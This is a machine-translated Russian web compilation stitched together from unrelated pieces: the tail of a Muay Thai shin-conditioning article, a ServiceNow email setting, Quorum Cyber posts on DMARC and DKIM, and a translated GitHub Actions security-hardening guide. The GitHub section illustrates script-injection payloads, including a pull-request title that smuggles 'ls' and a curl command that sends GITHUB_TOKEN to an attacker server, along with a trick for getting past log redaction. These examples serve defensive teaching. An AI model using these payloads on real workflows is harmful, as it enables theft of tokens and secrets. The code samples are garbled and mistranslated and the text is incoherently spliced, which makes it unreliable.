Университетами и отдельными людьми был проведен ряд исследований, подтверждающих мысль о том, что поднятие тяжестей помогает увеличить плотность костей. Хотя результаты не являются окончательными на 100%, эти тематические исследования убедительно доказывают, что вам следует заниматься силовыми тренировками, чтобы увеличить прочность костей!

6. Получите достаточно кальция и витамина D

Мама всегда говорила мне пить молоко для крепких костей и больших мускулов. Я никогда не сомневался в том, что мне говорила мама, но теперь, когда я действительно понимаю причины ее логики, я знаю, что мама всегда была права!

Каждый день ваше тело удаляет старые твердые кости, чтобы заменить их новыми, сексуальными.Поскольку ваши кости постоянно развиваются каждый день вашей жизни, очень важно получать правильные питательные вещества, которые помогут в их развитии. Кальций — одно из ключевых питательных веществ, в которых вы нуждаетесь, но без этого витамина D ваше тело не сможет усваивать необходимый ему кальций!

Если вы придерживаетесь здоровой и сбалансированной диеты, вы будете потреблять изрядную долю кальция и витамина D, которые способствуют развитию костей. Однако добавление в смесь некоторых добавок может быть неплохой идеей, если вы чувствуете, что не получаете достаточного количества пищи.Убедитесь, что вы получаете около 1000 мг кальция в день!

Заключительные слова о кондиционировании голени

Укрепление голеней до такой степени, что вы не почувствуете боли, требует нелепого количества времени и тяжелой работы. При этом вы можете ожидать, что в конечном итоге ваши голени станут жесткими до такой степени, что вам не захочется плакать!

Если вы будете заниматься спаррингом, отбивать тяжелый мешок и использовать другие методы кондиционирования голени, о которых я упоминал выше, вы сможете значительно повысить упругость своих голеней.

Имейте в виду, что не существует секретной формулы, чтобы ваши голени были такими же твердыми, как у Буакава.

Однако, если вы будете следовать проверенным методам, описанным выше, вы постепенно сможете развить свою терпимость к боли и подготовить голени к проверке и нанесению ударов ногами. Оставайтесь постоянными, оставайтесь настойчивыми, и это будет лишь вопросом времени, когда вы сломаете ребра ногами своим телом!

Накорми свою зависимость от тайского бокса!

Подпишитесь на нашу электронную рассылку «Муай Тай по понедельникам», чтобы получать последние новости о новых видео, специальных мероприятиях и обо всем, что связано с Муай Тай!

Преобразование входящей электронной почты в HTML

Активируйте скольжение.email.email_with_no_target_visible_to_all
свойство, чтобы ограничить доступ пользователей к электронной почте, если они не были тем, кто отправил электронное письмо, или не имеют
роль администратора.

Неавторизованные пользователи могут получить доступ к электронной почте в
sys_email_list, в которой отсутствует целевая запись. Вместо принудительного применения списков контроля доступа к электронной почте
записей, это свойство ограничивает доступ только отправителю электронной почты, а пользователям с администратором
роль.

Примечание: электронные письма, отправленные и полученные экземпляром, отображаются в
таблица sys_email_list.Однако получали только письма, отмеченные ошибкой и
В игнорируемом состоянии должна быть пустая целевая таблица.

Дополнительная информация

Атрибут	Описание
Название свойства	glide.email.email_with_no_target_visible_to_all
Тип конфигурации	Свойства системы (/ sys_properties_list. делать)
Настроить в центре безопасности экземпляра	Есть
Назначение	Чтобы запретить почтовому клиенту показывать электронные письма, когда пользователь не авторизован доступ.
Рекомендуемое значение	ложный
Функциональное воздействие	(Низкий) Пользователи больше не могут видеть сообщения электронной почты, в которых целевая таблица пуста, если только они являются администраторами или отправителями электронного письма.
Угроза безопасности	(Средний) Если свойство не включено, неавторизованные пользователи могут получить доступ любое электронное письмо, в котором поле target_table пусто.
Список литературы	Расширенные свойства электронной почты https://support.servicenow.com/kb_view.do?sysparm_article=KB06

Чтобы узнать больше о добавлении или создании системы
свойство, см. Добавление системного свойства.

Повышение безопасности электронной почты (часть 3): DMARC

Теперь, когда SPF и DKIM были добавлены в вашу запись DNS, мы можем теперь добавить последнюю часть защиты вашего домена от подделки, аутентификацию сообщений, отчетность и соответствие на основе домена ( DMARC) в вашу запись DNS. DMARC был создан для устранения недостатков SPF и разработки протокола политики более высокого уровня, который можно было бы развернуть более широко.

DMARC использует как результаты проверки SPF, так и результаты проверки DKIM, чтобы определить, пришло ли письмо из авторизованного источника.Он объединяет результаты SPF / DKIM с тестом согласования идентичности (который требует, чтобы домен «Почта от» для SPF и домен подписи для DKIM совпадали с основным доменом «От»), чтобы наложить ограничения, связанные с доменом «От». Если SPF или DKIM проходят / проверяют и выровнены, сообщение авторизовано DMARC.

DMARC также добавляет как агрегированные отчеты, так и отчеты обратной связи по доменам, чтобы администраторы могли оценить эффективность своих текущих операций проверки подлинности электронной почты. Проще говоря, если бы ваши пользователи отправляли электронные письма в 42 разных домена за время отчета, указанное в записи DMARC, администратор получил бы 42 отчета о сообщениях, отправленных между их доменом и доменами получателя.

Настройка DMARC — это несложное дело, и для этого необходимо сделать еще одну запись в вашей записи DNS. Запись DMARC в идеале требует настройки 1 дополнительного элемента в зависимости от потребностей организации, то есть нового почтового ящика для получения отчетов, которые будут отправляться доменами получателей электронных писем, отправленных вашими пользователями.

Подобно тому, как мы добавляли запись SPF в запись DNS, настройки DMARC должны выглядеть примерно так:

HOST — это должно начинаться с «_dmarc.”И должен сопровождаться вашим собственным доменом

VALUE — содержит ряд полей:

• v = DMARC1 это означает версию DMARC-записи, которая реализована (в настоящее время существует только версия 1)
• p — Это политика, которая должна быть введена в действие
  o None / quarantine / reject
• pct — Это указывает процент электронных писем, для которых должно применяться правило
  • Это всегда должно быть установлено на 100 (политика применяется ко всем ошибочным сообщениям)
  • У меня есть не видел никаких веских аргументов в пользу того, почему это не должно быть 100%
• rua — Здесь указывается адрес, на который отправляются агрегированные отчеты на
• ruf — Это указывает адрес, на который отчеты судебно-медицинской экспертизы отправляются на
  o Должен быть таким же как rua (может быть другим, но требует дополнительной настройки)
• sp — это указывает, принимает ли политика использование поддоменов
• ri — это указывает, как часто отчеты должны отправляться каждым доменом (в секундах)
  • Общее практическое правило в 84600 (24 часа), чтобы отчеты приходили один раз в день

После развертывания (в сочетании с SPF / DKIM) «p = none» позволит вам отслеживать потенциальное влияние развертывания более агрессивная политика. После того, как тестирование будет завершено и будет обнаружено, что на отправленные электронные письма не повлияли, кроме ожидаемых результатов, «p = none» следует заменить на «p = quarantine», чтобы получатели спуфинга вашего домена запрашивали хранение в безопасном месте до тех пор, пока администратор может проверить, следует ли их выпустить или поместить в папку нежелательной почты / спама.

С завершением этих трех возможностей ваш домен должен быть более устойчивым к использованию в атаке с подделкой против третьих лиц и обеспечивать хороший уровень защиты для ваших собственных пользователей, которые могут получать поддельные сообщения извне в организацию.Однако теперь, когда мы настроили политики, которые диктуют признанную инфраструктуру, мы можем сделать больше для защиты наших собственных пользователей. Этого можно добиться с помощью правил потока почты.

Распространенные ошибки

Отсутствие учета всех законных почтовых служб

Если полное расследование всех служб, используемых организацией, не будет проведено, вы обнаружите ряд ложных срабатываний в отношении вашего сообщения «SPOOFING»
Правило потока, которое потенциально может повлиять на бизнес из-за необязательного анализа или удаления ошибочно помеченных законных электронных писем. Вы также можете обнаружить, что другие компании не получают ваши сообщения или игнорируются как спам из-за их собственных систем защиты.

Неправильная конфигурация субдомена

Возможное злоупотребление субдоменами (законное или фальсифицированное) возможно, если определенные записи DNS не добавлены для каждого субдомена, используемого вашей организацией. Если не ожидается, что ни один из субдоменов будет иметь возможность отправлять электронную почту, рекомендуется включить «sp = reject», поскольку это указывает на то, что вы не ожидаете использовать субдомены.

Неправильный синтаксис / контент

Правила, касающиеся содержимого SPF / DKIM / DMARC в вашей записи DNS, относительно жесткие, есть определенные теги, которые вы должны включить, и ряд дополнительных тегов для более детального контроля. Однако, помимо этого, любые дополнения / обозначения / и т. Д. Могут привести к сбою политики из-за ошибок в ее интерпретации. Это также относится к добавлению неожиданной информации в такие поля, как адрес электронной почты с записью SPF. Также следует проявлять осторожность при добавлении диапазонов IP-адресов, поскольку пропуск «2» в диапазоне адресов «/ 32» может иметь значительное влияние.

Нет инструмента для понимания отчетов DMARC

Сводные и криминалистические отчеты DMARC представляют собой XML-документы, содержащие список всех сообщений от вашей организации до домена получателя (как обсуждалось ранее, вы получите сводный отчет для каждого уникального домена, отправленного вашей организацией по электронной почте. к). Эти отчеты содержат большой объем информации, в том числе: даты / IP / результаты SPF и DKIM / диспозиции / и т. д. В зависимости от количества писем, отправленных в данный домен, эти отчеты могут быть очень длинными и трудными для понимания.Поэтому инструмент, помогающий понять их, может быть очень полезным. Для ip4 / ip6 / all поиск не требуется.

«С тех пор, как я начал заниматься кибербезопасностью, я проявлял большой интерес ко всем аспектам синей команды и работе с новыми технологиями для расследования потенциальных угроз от имени наших клиентов. С такой разнообразной областью обучения всегда есть что-то новое, чему можно научиться или от чего защититься, и этот вызов постоянного прогресса заставляет каждый день чувствовать себя новым и захватывающим.”
— Даррен Фотерингем, руководитель CSIRT, Quorum Cyber ​​

Повышение безопасности электронной почты (часть 2): электронная почта с идентификационными ключами домена (DKIM)

Добро пожаловать в часть 2 из нашей серии из 4 частей, где мы рассмотрим безопасность электронной почты Повышение безопасности за счет настройки SPF, DMARC, DKIM и создания правил MailFlow. В части 2 мы сосредоточимся на почте с идентификацией ключей домена (DKIM).

DomainKeys Identified Mail (DKIM) — это форма протокола авторизации контента, которая используется для проверки того, что автор сообщения отправляет сообщение из домена, который он утверждает.Это достигается за счет использования асимметричной криптографии для цифровой подписи частей заголовка (однако тело также может быть подписано, но это менее распространено) электронного письма.

Подобно SPF, запись DKIM публикуется в записи DNS как запись TXT и содержит используемое средство шифрования и открытый ключ, который может использоваться для расшифровки сообщений с соответствующим закрытым ключом, который создается при настройке DKIM. DKIM обеспечивает криптографическую подпись частей заголовка электронного письма, и получатели сообщений, отправленных данным доменом, могут использовать опубликованный открытый ключ для расшифровки сообщений, подписанных закрытым ключом домена, чтобы убедиться, что оно действительно было отправлено доменом.

Процесс установки DKIM зависит от вашего почтового провайдера, однако для сред Microsoft 365 его можно применить через:

• Exchange Admin Center
• Protection
• DKIM
• Выберите свой домен
• Включить

Вы обнаружите, что это не удается, и Microsoft порекомендует 2 строки CNAME, которые необходимо добавить в вашу запись DNS, прежде чем вы сможете продолжить. Эти строки должны выглядеть примерно так:

Эти записи CNAME должны быть добавлены в вашу запись DNS с использованием того же метода, который описан для добавления записи SPF, однако тип должен быть CNAME, а не TXT, имя / псевдоним хоста будет:

selector1._domainkey и адрес, указывающий на selector1-QuorumCyber- com._domainkey.QuorumCyberSecurityLtd.onmicrosoft.com.

Это также следует повторить для селектора 2.

Конечно, будет разница между приведенными выше и вашими собственными записями CNAME, рекомендованными Microsoft, но в первую очередь они должны изменить упоминания Quorum Cyber ​​на ваш собственный домен и первую запись com, чтобы они соответствовали вашему собственному верхнему уровню. домен (com, co-uk, net, org и т. д.).После того, как эти 2 записи CNAME были введены, вы можете обнаружить, что вам нужно подождать до 24 часов (однако обычно на самом деле требуется менее 60 минут), прежде чем снова пытаться включить DKIM, поскольку записи CNAME могут занять некоторое время для правильного распространения в Microsoft. инфраструктуры.

После успешной активации вы обнаружите, что отправленные электронные письма теперь будут подписаны вашей политикой DKIM.

Общие ошибки

Неправильный синтаксис / контент

Правила, касающиеся содержимого SPF / DKIM / DMARC в вашей записи DNS, довольно жесткие, должны быть включены определенные теги, а также ряд дополнительных тегов для более детального контроля .Однако, помимо этого, любые дополнения / обозначения / и т. Д. Могут привести к сбою политики из-за ошибок в ее интерпретации. Это также относится к добавлению неожиданной информации в поля, например адреса электронной почты с записью SPF. Следует проявлять осторожность при добавлении диапазонов IP-адресов, поскольку пропуск «2» в диапазоне адресов «/ 32» может иметь значительное влияние.

Познакомьтесь с автором
Даррен Фотерингем
Руководитель CSIRT, Quorum Cyber ​​

«С тех пор, как я начал заниматься кибербезопасностью, я проявлял большой интерес ко всем аспектам синей команды и работе с новыми технологиями, чтобы исследовать потенциал. угрозы от имени наших клиентов.С такой разнообразной областью обучения всегда есть что-то новое, чему можно научиться или от чего защититься, и этот вызов постоянного прогресса заставляет каждый день чувствовать себя новым и захватывающим ».

Для получения дополнительной поддержки со стороны нашего экспертного центра операций по обеспечению безопасности и профессиональных служб свяжитесь с командой Quorum Cyber ​​сегодня.

Усиление безопасности для действий GitHub

Обзор

В этом руководстве объясняется, как настроить усиление безопасности для определенных функций GitHub Actions.Если концепции действий GitHub вам незнакомы, см. «Основные концепции действий GitHub».

Использование секретов

Конфиденциальные значения никогда не должны храниться в виде открытого текста в файлах рабочего процесса, а скорее как секреты. Секреты могут быть настроены на уровне организации, репозитория или среды и позволяют хранить конфиденциальную информацию в GitHub.

Secrets используют запечатанные коробки Libsodium, поэтому они зашифровываются до того, как попадут на GitHub. Это происходит, когда секрет отправляется с помощью пользовательского интерфейса или REST API.Это шифрование на стороне клиента помогает минимизировать риски, связанные со случайным ведением журнала (например, журналов исключений и журналов запросов, среди прочего) в инфраструктуре GitHub. После того, как секрет загружен, GitHub может расшифровать его, чтобы его можно было внедрить в среду выполнения рабочего процесса.

Чтобы предотвратить случайное раскрытие, GitHub использует механизм, который пытается редактировать любые секреты, которые появляются в журналах выполнения. Это редактирование ищет точные совпадения любых настроенных секретов, а также общие кодировки значений, такие как Base64.Однако, поскольку существует несколько способов преобразования секретного значения, такое редактирование не гарантируется. В результате существуют определенные упреждающие шаги и передовые методы, которым вы должны следовать, чтобы гарантировать удаление секретов и ограничить другие риски, связанные с секретами:

• Никогда не используйте структурированные данные в качестве секрета

  • Структурированные данные могут привести к сбою секретного редактирования в журналах, поскольку редактирование в значительной степени зависит от поиска точного совпадения для определенного секретного значения.Например, не используйте большой двоичный объект JSON, XML или YAML (или аналогичный) для инкапсуляции секретного значения, так как это значительно снижает вероятность того, что секреты будут правильно отредактированы. Вместо этого создайте индивидуальные секреты для каждой чувствительной ценности.

• Регистрация всех секретов, используемых в рабочих процессах

  • Если секрет используется для создания другого конфиденциального значения в рамках рабочего процесса, это сгенерированное значение должно быть официально зарегистрировано как секрет, чтобы оно было отредактировано, если оно когда-либо появится в журналах.Например, если вы используете закрытый ключ для создания подписанного JWT для доступа к веб-API, обязательно зарегистрируйте этот JWT в качестве секрета, иначе он не будет отредактирован, если когда-либо войдет в вывод журнала.
  • Регистрация секретов также применима к любому типу преобразования / кодирования. Если ваш секрет каким-либо образом преобразован (например, в кодировке Base64 или URL-адресе), не забудьте также зарегистрировать новое значение в качестве секрета.

• Аудит обработки секретов

  • Проверяйте, как используются секреты, чтобы убедиться, что они используются должным образом.Вы можете сделать это, просмотрев исходный код репозитория, выполняющего рабочий процесс, и проверив все действия, используемые в рабочем процессе. Например, убедитесь, что они не отправляются на непредусмотренные хосты или явно не печатаются для вывода журнала.
  • Просмотрите журналы выполнения рабочего процесса после проверки допустимых / недопустимых входных данных и убедитесь, что секреты правильно отредактированы или не отображаются. Не всегда очевидно, как команда или инструмент, которые вы вызываете, будут отправлять ошибки на STDOUT и STDERR , а секреты могут впоследствии попасть в журналы ошибок.В результате рекомендуется вручную просматривать журналы рабочего процесса после тестирования допустимых и недопустимых входных данных.

• Использовать учетные данные с минимальной областью действия

  • Убедитесь, что учетные данные, используемые в рабочих процессах, имеют наименьшие необходимые привилегии, и помните, что любой пользователь с правом записи в ваш репозиторий имеет доступ для чтения ко всем секретам, настроенным в вашем репозитории.

  Действия

  • могут использовать GITHUB_TOKEN , обратившись к нему из гитхаба .токен контекст. Для получения дополнительной информации см. «Контексты». Поэтому вы должны убедиться, что GITHUB_TOKEN предоставлен минимально необходимые разрешения. Хорошей практикой безопасности является установка разрешения по умолчанию для GITHUB_TOKEN на доступ только на чтение содержимого репозитория. При необходимости разрешения могут быть увеличены для отдельных заданий в файле рабочего процесса. Для получения дополнительной информации см. «Аутентификация в рабочем процессе».

• Аудит и ротация зарегистрированных секретов

  • Периодически просматривайте зарегистрированные секреты, чтобы убедиться, что они по-прежнему необходимы.Удалите те, которые больше не нужны.
  • Периодически меняйте секреты, чтобы сократить временное окно, в течение которого скомпрометированный секрет действителен.

• Рассмотреть вопрос о необходимости проверки доступа к секретам

  • Вы можете использовать необходимых рецензентов для защиты секретов среды. Задание рабочего процесса не может получить доступ к секретам среды, пока рецензент не получит одобрения. Дополнительные сведения о хранении секретов в средах или необходимости проверки сред см. В разделах «Зашифрованные секреты» и «Использование сред для развертывания».«

Использование кодов

для отслеживания изменений

Вы можете использовать функцию CODEOWNERS для управления внесением изменений в файлы рабочего процесса. Например, если все ваши файлы рабочего процесса хранятся в .github / workflows , вы можете добавить этот каталог в список владельцев кода, чтобы любые предлагаемые изменения в этих файлах сначала потребовали одобрения назначенного рецензента.

Для получения дополнительной информации см. «О владельцах кода.«

Понимание риска внедрения сценария

При создании рабочих процессов, настраиваемых действий и действий составных действий вы всегда должны учитывать, может ли ваш код выполнять ненадежный ввод от злоумышленников. Это может произойти, когда злоумышленник добавляет в контекст вредоносные команды и сценарии. Когда ваш рабочий процесс запускается, эти строки могут интерпретироваться как код, который затем выполняется на бегунке.

Злоумышленники могут добавлять свой собственный вредоносный контент в контекст github , который следует рассматривать как потенциально ненадежный ввод.Эти контексты обычно заканчиваются body , default_branch , email , head_ref , label , message , name , page_name , ref и title . Например: github.event.issue.title или github.event.pull_request.body .

Вы должны убедиться, что эти значения не передаются напрямую в рабочие процессы, действия, вызовы API или где-либо еще, где они могут быть интерпретированы как исполняемый код.Приняв ту же позицию защитного программирования, которую вы использовали бы для любого другого привилегированного кода приложения, вы можете повысить безопасность использования GitHub Actions. Для получения информации о некоторых действиях, которые может предпринять злоумышленник, см. «Возможное воздействие скомпрометированного бегуна».

Кроме того, существуют и другие, менее очевидные источники потенциально ненадежных входных данных, такие как названия филиалов и адреса электронной почты, которые могут быть довольно гибкими с точки зрения разрешенного содержания. Например, zzz "; echo $ {IFS}" hello "; # будет допустимым именем ветки и может быть вектором атаки для целевого репозитория.

В следующих разделах объясняется, как можно снизить риск внедрения сценария.

Пример атаки путем внедрения сценария

Атака внедрения сценария может происходить непосредственно во встроенном сценарии рабочего процесса. В следующем примере действие использует выражение для проверки действительности заголовка запроса на вытягивание, но также добавляет риск внедрения сценария:

  - имя: Проверить PR заголовок
        запустить: |
          title = "$ {{github.event.pull_request.octocat]]; тогда
          echo "Название PR начинается с" octocat ""
          выход 0
          еще
          echo "Название PR не начиналось с" octocat ""
          выход 1
          фи
  

Этот пример уязвим для внедрения сценария, поскольку команда run выполняется во временном сценарии оболочки на средстве выполнения. Перед запуском сценария оболочки выражения внутри $ {{}} оцениваются и затем заменяются полученными значениями, что может сделать его уязвимым для инъекции команд оболочки.

Чтобы внедрить команды в этот рабочий процесс, злоумышленник может создать запрос на перенос с заголовком a "; ls $ GITHUB_WORKSPACE" :

В этом примере символ " используется для прерывания инструкции title =" $ {{github.event.pull_request.title}} ", позволяя выполнить команду ls на бегунке. Вы можете см. вывод команды ls в журнале:

Передовые методы защиты от атак путем внедрения сценария

Существует несколько различных подходов, которые помогут снизить риск внедрения сценария:

Использование действия вместо встроенного скрипта (рекомендуется)

Рекомендуемый подход — создать действие, которое обрабатывает значение контекста как аргумент.Этот подход неуязвим для атаки путем внедрения, поскольку значение контекста не используется для генерации сценария оболочки, а вместо этого передается действию в качестве аргумента:

  использует: fakeaction / checktitle @ v3
с участием:
    title: $ {{github.event.pull_request.title}}
  

Использование промежуточной переменной среды

Для встроенных скриптов предпочтительный подход к обработке ненадежного ввода состоит в том, чтобы установить значение выражения в промежуточную переменную среды.octocat]]; тогда
echo «Название PR начинается с» octocat «»
выход 0
еще
echo «Название PR не начиналось с» octocat «»
выход 1
фи

В этом примере попытка внедрения сценария не удалась:

При таком подходе значение выражения $ {{github.event.issue.title}} сохраняется в памяти и используется как переменная и не взаимодействует с процессом генерации скрипта. Кроме того, рассмотрите возможность использования переменных оболочки с двойными кавычками, чтобы избежать разделения слов, но это одна из многих общих рекомендаций по написанию сценариев оболочки, не относящаяся к действиям GitHub.

Использование CodeQL для анализа вашего кода

Чтобы помочь вам управлять риском появления опасных шаблонов как можно раньше в жизненном цикле разработки, лаборатория безопасности GitHub разработала запросы CodeQL, которые владельцы репозиториев могут интегрировать в свои конвейеры CI / CD. Для получения дополнительной информации см. «О сканировании кода».

В настоящее время сценарии зависят от библиотек CodeQL JavaScript, что означает, что анализируемый репозиторий должен содержать хотя бы один файл JavaScript и что CodeQL должен быть настроен для анализа этого языка.

• ExpressionInjection.ql : охватывает инъекции выражений, описанные в этой статье, и считается достаточно точным. Однако он не отслеживает поток данных между этапами рабочего процесса.
• UntrustedCheckout.ql : результаты этого скрипта требуют ручного просмотра, чтобы определить, действительно ли код из запроса на вытягивание обрабатывается небезопасным образом. Дополнительные сведения см. В разделе «Обеспечение безопасности действий и рабочих процессов GitHub: предотвращение запросов pwn» в блоге GitHub Security Lab.

Ограничение разрешений для токенов

Чтобы снизить риск раскрытия токена, рассмотрите возможность ограничения назначенных разрешений. Для получения дополнительной информации см. «Изменение разрешений для GITHUB_TOKEN».

Использование сторонних действий

Отдельные задания в рабочем процессе могут взаимодействовать (и компрометировать) другие задания. Например, задание, запрашивающее переменные среды, используемые более поздним заданием, запись файлов в общий каталог, который обрабатывается последующим заданием, или, что еще более важно, путем взаимодействия с сокетом Docker и проверки других запущенных контейнеров и выполнения команд в них.

Это означает, что компрометация отдельного действия в рабочем процессе может быть очень значительным, поскольку это скомпрометированное действие будет иметь доступ ко всем секретам, настроенным в вашем репозитории, и может использовать GITHUB_TOKEN для записи в репозиторий. Следовательно, существует значительный риск при поиске действий из сторонних репозиториев на GitHub. Для получения информации о некоторых действиях, которые может предпринять злоумышленник, см. «Возможное воздействие скомпрометированного бегуна».

Вы можете снизить этот риск, следуя этим передовым методам:

• Закрепить действия для полной фиксации SHA

  Прикрепление действия к полной фиксации SHA в настоящее время является единственным способом использовать действие в качестве неизменяемого выпуска.Прикрепление к определенному SHA помогает снизить риск того, что злоумышленник добавит бэкдор в репозиторий действия, поскольку им потребуется сгенерировать коллизию SHA-1 для действительной полезной нагрузки объекта Git.

• Аудит исходного кода акции

  Убедитесь, что действие обрабатывает содержимое вашего репозитория и секреты должным образом. Например, убедитесь, что секреты не отправляются на непредусмотренные хосты или случайно не регистрируются.

• Закрепляйте действия в теге, только если вы доверяете создателю

  Хотя закрепление SHA фиксации является наиболее безопасным вариантом, указание тега более удобно и широко используется.Если вы хотите указать тег, убедитесь, что вы доверяете создателям действия. Значок «Подтвержденный создатель» на GitHub Marketplace является полезным сигналом, поскольку он указывает на то, что действие было написано командой, личность которой была подтверждена GitHub. Обратите внимание, что этот подход сопряжен с риском, даже если вы доверяете автору, потому что тег может быть перемещен или удален, если злоумышленник получит доступ к репозиторию, в котором хранится действие.

Повторное использование сторонних рабочих процессов

Те же принципы, описанные выше для использования сторонних действий, также применимы к использованию сторонних рабочих процессов.Вы можете помочь снизить риски, связанные с повторным использованием рабочих процессов, следуя тем же передовым методам, которые описаны выше. Для получения дополнительной информации см. «Повторное использование рабочих процессов».

Возможное воздействие поврежденного бегуна

В этих разделах рассматриваются некоторые шаги, которые может предпринять злоумышленник, если он может запускать вредоносные команды в средстве выполнения действий GitHub.

Доступ к секретам

Рабочие процессы, запускаемые с помощью события pull_request , имеют разрешения только на чтение и не имеют доступа к секретам.Однако эти разрешения различаются для различных триггеров событий, таких как issue_comment , issues и push , где злоумышленник может попытаться украсть секреты репозитория или использовать разрешение на запись задания GITHUB_TOKEN .

• Если для секрета или токена задана переменная среды, к нему можно получить прямой доступ через среду с помощью printenv .

• Если секрет используется непосредственно в выражении, сгенерированный сценарий оболочки сохраняется на диске и доступен.

• Для настраиваемого действия риск может варьироваться в зависимости от того, как программа использует секрет, полученный из аргумента:

    использует: fakeaction / publish @ v3
  с участием:
      ключ: $ {{secrets.PUBLISH_KEY}}
    

Хотя GitHub Actions очищает из памяти секреты, которые не упоминаются в рабочем процессе (или включенном действии), GITHUB_TOKEN и любые упомянутые секреты могут быть получены определенным злоумышленником.

Извлечение данных из бегуна

Злоумышленник может украсть любые украденные секреты или другие данные от бегуна.Чтобы предотвратить случайное раскрытие секретов, GitHub Actions автоматически редактируют секреты, напечатанные в журнале, но это не настоящая граница безопасности, поскольку секреты могут быть намеренно отправлены в журнал. Например, запутанные секреты могут быть извлечены с помощью echo $ {SOME_SECRET: 0: 4}; эхо $ {SOME_SECRET: 4: 200}; . Кроме того, поскольку злоумышленник может запускать произвольные команды, он может использовать HTTP-запросы для отправки секретов или других данных репозитория на внешний сервер.

Похищение рабочих мест

GITHUB_TOKEN

Злоумышленник может украсть задание GITHUB_TOKEN .Средство выполнения действий GitHub автоматически получает сгенерированный GITHUB_TOKEN с разрешениями, ограниченными только репозиторием, содержащим рабочий процесс, а срок действия токена истекает после завершения задания. По истечении срока действия токен больше не используется злоумышленником. Чтобы обойти это ограничение, они могут автоматизировать атаку и выполнить ее за доли секунды, вызвав управляемый злоумышленником сервер с токеном, например: a "; set + e; curl http: //example.lab? токен = $ GITHUB_TOKEN; # .

Изменение содержимого репозитория

Сервер злоумышленника может использовать GitHub API для изменения содержимого репозитория, включая выпуски, если назначенные разрешения GITHUB_TOKEN не ограничены.

С учетом доступа к нескольким репозиториям

Действия GitHub преднамеренно привязаны к одному репозиторию за раз. GITHUB_TOKEN предоставляет тот же уровень доступа, что и пользователь с доступом для записи, потому что любой пользователь с доступом для записи может получить доступ к этому токену, создав или изменив файл рабочего процесса, при необходимости повышая разрешения GITHUB_TOKEN .У пользователей есть определенные разрешения для каждого репозитория, поэтому разрешение GITHUB_TOKEN для одного репозитория предоставлять доступ другому может повлиять на модель разрешений GitHub, если не будет реализован тщательно. Точно так же следует соблюдать осторожность при добавлении токенов проверки подлинности GitHub в рабочий процесс, поскольку это также может повлиять на модель разрешений GitHub, непреднамеренно предоставив широкий доступ соавторам.

У нас есть план в дорожной карте GitHub для поддержки потока, который разрешает доступ между репозиториями внутри GitHub, но это еще не поддерживаемая функция.В настоящее время единственным способом выполнения привилегированных взаимодействий между репозиториями является размещение токена аутентификации GitHub или ключа SSH в качестве секрета в рабочем процессе. Поскольку многие типы маркеров проверки подлинности не допускают детального доступа к определенным ресурсам, существует значительный риск использования неправильного типа маркера, поскольку он может предоставить гораздо более широкий доступ, чем предполагалось.

В этом списке описаны рекомендуемые подходы для доступа к данным репозитория в рамках рабочего процесса в порядке убывания предпочтения:

1. Модель GITHUB_TOKEN
   • Этот токен намеренно привязан к одному репозиторию, который вызвал рабочий процесс, и может иметь тот же уровень доступа, что и пользователь с правом записи в репозитории.Маркер создается перед началом каждого задания и истекает после его завершения. Для получения дополнительной информации см. «Аутентификация с помощью GITHUB_TOKEN».
   • По возможности следует использовать GITHUB_TOKEN .
2. Ключ развертывания репозитория
   • Ключи развертывания — это один из единственных типов учетных данных, которые предоставляют доступ для чтения или записи к одному репозиторию и могут использоваться для взаимодействия с другим репозиторием в рамках рабочего процесса. Для получения дополнительной информации см. «Управление ключами развертывания.«
   • Обратите внимание, что ключи развертывания можно только клонировать и отправлять в репозиторий с помощью Git, и их нельзя использовать для взаимодействия с REST или GraphQL API, поэтому они могут не соответствовать вашим требованиям.
3. Токены приложений GitHub
   • GitHub Apps можно установить в выбранных репозиториях и даже иметь отдельные разрешения для ресурсов в них. Вы можете создать приложение GitHub внутри своей организации, установить его в репозиториях, к которым вам нужен доступ в рамках вашего рабочего процесса, и пройти аутентификацию в качестве установки в своем рабочем процессе для доступа к этим репозиториям.
4. Персональные токены доступа
   • Никогда не используйте токены личного доступа из своей учетной записи. Эти токены предоставляют доступ ко всем репозиториям в организациях, к которым у вас есть доступ, а также ко всем личным репозиториям в вашей учетной записи. Это косвенно предоставляет широкий доступ всем пользователям репозитория с правом записи, в котором находится рабочий процесс. Кроме того, если вы позже покинете организацию, рабочие процессы, использующие этот токен, сразу же прервутся, и отладка этой проблемы может оказаться сложной задачей.
   • Если используется личный токен доступа, он должен быть создан для новой учетной записи, которой предоставлен доступ только к определенным репозиториям, необходимым для рабочего процесса. Обратите внимание, что этот подход не масштабируется, и его следует избегать в пользу альтернатив, таких как ключи развертывания.
5. SSH-ключи в учетной записи пользователя
   • Рабочие процессы никогда не должны использовать ключи SSH в учетной записи пользователя. Подобно токенам личного доступа, они предоставляют разрешения на чтение и запись для всех ваших личных репозиториев, а также для всех репозиториев, к которым у вас есть доступ через членство в организации.Это косвенно предоставляет широкий доступ всем пользователям репозитория с доступом для записи, в котором находится рабочий процесс. Если вы намереваетесь использовать ключ SSH, потому что вам нужно только выполнять клонирование или отправку репозитория, и вам не нужно взаимодействовать с общедоступными API, тогда вам следует использовать отдельные ключи развертывания.

Закалка для самостоятельных бегунов

размещенных на GitHub исполнителей выполняют код на эфемерных и чистых изолированных виртуальных машинах, что означает, что нет способа постоянно скомпрометировать эту среду или иным образом получить доступ к большему количеству информации, чем было помещено в эту среду во время процесса начальной загрузки.

Самостоятельно размещенные бегуны на GitHub не имеют гарантий работы на эфемерных чистых виртуальных машинах и могут быть постоянно скомпрометированы ненадежным кодом в рабочем процессе.

В результате локальные раннеры почти никогда не должны использоваться для общедоступных репозиториев на GitHub, потому что любой пользователь может открывать запросы на вытягивание для репозитория и ставить под угрозу среду. Точно так же будьте осторожны при использовании автономных бегунов в частных репозиториях, поскольку любой, кто может разветвить репозиторий и открыть запрос на перенос (как правило, те, у кого есть доступ для чтения к репозиторию), может скомпрометировать автономную среду бегуна, включая получение доступ к секретам и GITHUB_TOKEN , который, в зависимости от его настроек, может предоставлять права на запись в репозиторий.Хотя рабочие процессы могут контролировать доступ к секретам среды с помощью сред и необходимых проверок, эти рабочие процессы не выполняются в изолированной среде и по-прежнему подвержены тем же рискам при запуске в автономном средстве выполнения.

Когда локальный исполнитель определен на уровне организации или предприятия, GitHub может планировать рабочие процессы из нескольких репозиториев на одном и том же раннер. Следовательно, нарушение безопасности этих сред может иметь серьезные последствия. Чтобы уменьшить масштабы компромисса, вы можете создать границы, разделив своих бегунов на отдельные группы.Для получения дополнительной информации см. «Управление доступом для бегунов, работающих самостоятельно, с помощью групп».

Следует также учитывать среду автономных рабочих станций:

• Какая конфиденциальная информация хранится на машине, настроенной как автономный исполнитель? Например, частные ключи SSH, токены доступа API и другие.
